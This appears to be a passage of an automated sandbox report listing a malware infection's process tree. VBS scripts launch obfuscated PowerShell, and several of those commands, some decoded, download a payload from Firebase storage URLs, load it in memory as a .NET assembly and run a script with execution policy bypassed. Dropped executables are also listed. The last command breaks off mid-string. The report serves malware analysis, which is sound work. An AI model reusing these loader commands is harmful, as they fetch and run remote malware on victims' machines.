      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGbmV3ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49MmE3NjE5ZGYtNGVhNy00M2QzLTljNmUtYjc0YmUwMWZmNjdmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQTJBRFVBWlFBd0FEY0FPUUJpQURVQVpnQTJBRGNBTFFBMkFHWUFOZ0JpQUMwQVpBQTNBRFlBTkFBdEFETUFOQUE0QUdZQUxRQmlBRElBWXdBMUFEQUFOd0F5QURFQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTUFBeEFEY0FNZ0J6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJUprUWFzRGZnclRnJScnICwgJydfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXy0tLS0tLS0nJywgJycwJycsICcnMScnLC☹nJ1JvZGEnJy☹gKS☹pIDsnIDskVkJXV3ogPS☹oIFtTeXN0ZW0uSU8uUGF0aF06OkdldFRlbXBQYXRoKCkgKy☹nRHZWYnMucHMxJy☹pIDskSXFIcVEgfCBPdXQtRmlsZS☹tRmlsZVBhdGggJFZCV1d6IC☹tZm9yY2UgO3Bvd2Vyc2hlbGwgLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLUZpbGUgJFZCV1d6IDs=';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5268
- - C:\Users\Admin\AppData\Local\Temp\a\ssls.exe
    ssls.exe
    3⤵
    PID:5252
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe 31agosto.vbs
    3⤵
    PID:2988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydkd0JVQUdnQWJRQlBBRWtBYWdBM0FGSUFkUUExQUdJQVFRQndBSG9BY1FCTEFGb0Fjd0JGQURRQVJBQlFBRTRBVVFCS0FIWUFNQUJEQURrQWJ3QjFBRXdBZUFCWEFISUFRd0F3QUc4QWJRQk1BRGdBWWdCcEFGUUFlUUJyQUc4QUx3Qm1BQzhBYUFCekFDNEFjd0JtQUhVQUxnQXdBR2NBZGdCbUFIUUFid0J3QUhZQWN3QmxBQzhBTHdBNkFITUFjQUIwQUhRQWFBQT0nJy☹pICwgJyclSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$31agosto.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7420
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/RODAHAZLO%2Fdllsky%20(7).txt?alt=media&token=434b9d0d-5a6c-4db8-9ad2-07383b7c2606' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''dwBUAGgAbQBPAEkAagA3AFIAdQA1AGIAQQBwAHoAcQBLAFoAcwBFADQARABQAE4AUQBKAHYAMABDADkAbwB1AEwAeABXAHIAQwAwAG8AbQBMADgAYgBpAFQAeQBrAG8ALwBmAC8AaABzAC4AcwBmAHUALgAwAGcAdgBmAHQAbwBwAHYAcwBlAC8ALwA6AHMAcAB0AHQAaAA='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$31agosto.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7240
- - C:\Users\Admin\AppData\Local\Temp\a\svchron.exe
    svchron.exe
    3⤵
    PID:760
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe andre.vbs
    3⤵
    PID:7116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGbmV3ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49MmE3NjE5ZGYtNGVhNy00M2QzLTljNmUtYjc0YmUwMWZmNjdmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQTJBRFVBWlFBd0FEY0FPUUJpQURVQVpnQTJBRGNBTFFBMkFHWUFOZ0JpQUMwQVpBQTNBRFlBTkFBdEFETUFOQUE0QUdZQUxRQmlBRElBWXdBMUFEQUFOd0F5QURFQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTUFBeEFEY0FNZ0J6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJUprUWFzRGZnclRnJScnICwgJydfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXy0tLS0tLS0nJywgJycwJycsICcnMScnLC☹nJ1JvZGEnJy☹gKS☹pIDsnIDskVkJXV3ogPS☹oIFtTeXN0ZW0uSU8uUGF0aF06OkdldFRlbXBQYXRoKCkgKy☹nRHZWYnMucHMxJy☹pIDskSXFIcVEgfCBPdXQtRmlsZS☹tRmlsZVBhdGggJFZCV1d6IC☹tZm9yY2UgO3Bvd2Vyc2hlbGwgLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLUZpbGUgJFZCV1d6IDs=';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5828
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2Fnewdll.txt?alt=media&token=2a7619df-4ea7-43d3-9c6e-b74be01ff67f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgA2ADUAZQAwADcAOQBiADUAZgA2ADcALQA2AGYANgBiAC0AZAA3ADYANAAtADMANAA4AGYALQBiADIAYwA1ADAANwAyADEAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMAAxADcAMgBzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$andre.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10388
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe 31agosto.vbs
    3⤵
    PID:6916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydkd0JVQUdnQWJRQlBBRWtBYWdBM0FGSUFkUUExQUdJQVFRQndBSG9BY1FCTEFGb0Fjd0JGQURRQVJBQlFBRTRBVVFCS0FIWUFNQUJEQURrQWJ3QjFBRXdBZUFCWEFISUFRd0F3QUc4QWJRQk1BRGdBWWdCcEFGUUFlUUJyQUc4QUx3Qm1BQzhBYUFCekFDNEFjd0JtQUhVQUxnQXdBR2NBZGdCbUFIUUFid0J3QUhZQWN3QmxBQzhBTHdBNkFITUFjQUIwQUhRQWFBQT0nJy☹pICwgJyclSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$31agosto.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6808
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe sostener1.vbs
    3⤵
    PID:6944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydNUUE5QUd3QVpBQW1BSGdBTUFCb0FETUFOZ0I0QUdnQU9RQTlBSFFBY3dBbUFIY0FNQUI0QUdFQVlnQjRBRzBBZUFBMUFISUFjQUJwQURFQWFBQnVBR1FBT1FCcEFIWUFlQUJ3QUhFQVlnQTVBSFFBUFFCNUFHVUFhd0JzQUhJQVB3QjBBSGdBZEFBdUFESUFRd0F2QURNQU13QmtBSElBWmdCeUFHNEFiZ0J2QUhBQVpRQmpBRElBYndCekFEa0FkUUJoQUcwQWFRQmlBQzhBYVFCbUFDOEFiQUJqQUhNQUx3QnRBRzhBWXdBdUFIZ0Fid0JpQUhBQWJ3QnlBR1FBTGdCM0FIY0Fkd0F2QUM4QU9nQnpBSEFBZEFCMEFHZ0EnJy☹pICwgJyclSmtRYXNEZmdyVGclJycgLC☹nJ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fLS0tLS0tLScnLC☹nJz☹nJywgJycxJycsICcnUm9kYScnIC☹pICkgOycgOyRWQldXei☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdEdlZicy5wczEnICkgOyRJcUhxUSB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kVkJXV3ogIC1mb3JjZS☹7cG93ZXJzaGVsbC☹tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☹tRmlsZS☹kVkJXV3ogOw==';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener1.vbs');powershell $lvFxTsk;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6148
- - C:\Users\Admin\AppData\Local\Temp\a\10.exe
    10.exe
    3⤵
    PID:7004
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe Update.vbs
    3⤵
    PID:6256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL1JPREFIQVpMTyUyRmRsbHNreSUyMCg3KS50eHQ/YWx0PW1lZGlhJnRva2VuPTQzNGI5ZDBkLTVhNmMtNGRiOC05YWQyLT☹3MzgzYjdjMjYwNicgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGF